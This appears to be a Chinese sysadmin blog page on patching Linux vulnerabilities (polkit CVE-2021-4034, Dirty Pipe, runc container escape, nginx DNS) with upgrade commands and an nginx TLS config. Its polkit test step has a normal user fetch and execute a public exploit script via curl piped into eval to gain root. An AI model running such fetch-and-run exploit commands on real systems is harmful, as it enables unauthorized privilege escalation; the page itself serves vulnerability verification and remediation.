系统安全
# 安全
# Linux polkit本地权限提升漏洞(CVE-2021-4034)
github POC 地址 (opens new window)
- centos 普通用户测试
useradd test
su - test
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
ls /root
2
3
4
修复的版本
CentOS系列: CentOS 6:polkit-0.96-11.el6_10.2 CentOS 7:polkit-0.112-26.el7_9.1 CentOS 8.0:polkit-0.115-13.el8_5.1 CentOS 8.2:polkit-0.115-11.el8_2.2 CentOS 8.4:polkit-0.115-11.el8_4.2 Ubuntu系列: Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1 Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2 Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6 Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1 Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1 Debain系列: Debain stretch:policykit-1 0.105-18+deb9u2 Debain buster:policykit-1 0.105-25+deb10u1 Debain bullseye:policykit-1 0.105-31+deb11u1 Debain bookworm,bullseye:policykit-1 0.105-31.1 麒麟v10 漏洞修复版本:0.116-6.ky10 # devel,help,libs 总共四个包
# 修复
- CentOS:
yum clean all && yum makecache #需要配置base源
yum update polkit -y
2
wget https://download.yfklife.cn/blog/ops/security/polkit-0.112-26.el7_9.1.x86_64.rpm
- Ubuntu:
sudo apt-get update #需要配置base源
sudo apt-get install policykit-1
2
# Linux kernel (CVE-2022-0847)
在Linux内核的copy_page_to_iter_pipe和push_pipe函数中新管道缓存区结构的成员标志缺少正确初始化的方式,这一缺陷可能会导致成员标志包含陈旧的值。
CVE-2022-0847它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。它类似于 Dirty COW (CVE-2016-5195),但更容易被利用。
内核影响版本:5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
# 麒麟server v10 升级内核
麒麟漏洞修复版本:<= 4.19.90-23.23.v2101.ky10
官方文档:http://www.adapt-center.com/ecological/question/362.html
下载地址:https://update.cs2c.com.cn/NS/V10/V10SP1.1/os/adv/lic/updates/x86_64/Packages/
提前下载包,x86_64 版本:4.19.90-23.28
#查看
awk -F\' '$1=="menuentry " {print i++ " : " $2}' /boot/efi/EFI/kylin/grub.cfg
grub2-editenv list
rpm -ivh kernel-core-4.19.90-23.28.v2101.ky10.x86_64.rpm kernel-modules-4.19.90-23.28.v2101.ky10.x86_64.rpm kernel-4.19.90-23.28.v2101.ky10.x86_64.rpm kernel-modules-extra-4.19.90-23.28.v2101.ky10.x86_64.rpm kernel-modules-internal-4.19.90-23.28.v2101.ky10.x86_64.rpm
rpm -Uvh kernel-devel-4.19.90-23.28.v2101.ky10.x86_64.rpm
rpm -Uvh kernel-headers-4.19.90-23.28.v2101.ky10.x86_64.rpm
#检查版本是否升级到:4.19.90-23.28
grub2-editenv list
#如果已设置为升级后的内核,则执行重启服务器。如果没有则手动设置
#设置默认启动项:grub2-set-default kernel-4.19.90-23.28.v2101.ky10.x86_64.rpm
reboot
uname -r
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@localhost ~]# uname -r
4.19.90-23.28.v2101.ky10.x86_64
2
# docker runc升级(CVE-2021-30465)
2 漏洞评级: CVE-2021-30465 runc 符号链接挂载与容器逃逸漏洞-高危
影响版本: runc <= 1.0.0-rc94,也就是说大于这个版本就好
github runc下载地址 (opens new window)
- 升级
下载包 wget https://github.com/opencontainers/runc/releases/download/v1.0.1/runc.amd64
#停止容器,谨慎操作
systemctl stop docker
#重命名,添加执行权限
mv runc.amd64 runc && chmod +x runc
#备份老版本
mv /usr/bin/runc /usr/bin/runc-bak
#替换
cp runc /usr/bin/runc
#启动容器
systemctl start docker
2
3
4
5
6
7
8
9
10
- 检查
docker version
由原来的 "1.0.0-rc10" 升级到了 1.0.1
021年5月31日,阿里云应急响应中心监测到国外安全研究人员披露 CVE-2021-30465 runc 符号链接挂载与容器逃逸漏洞。
# Nginx DNS解析漏洞(CVE-2021-23017)
将 Nginx 升级到 1.20.1 及以上版本
把对应的包替换为 1.20.1
# 证书加密码
- ssh-keygen
ssh-keygen -p -f xxx.key
nginx加载的时候要输入刚刚设置的密码
- nginx安全协议TLS
listen 443 ssl;
client_max_body_size 0;
proxy_max_temp_file_size 0;
ssl_certificate ssl/yfklife.cn.crt;
ssl_certificate_key ssl/yfklife.cn.key;
ssl_session_timeout 10m;
ssl_protocols TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
ssl_ciphers '!aNULL:!MD5:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-WITH-AES128-GCM-SHA256';
2
3
4
5
6
7
8
9
10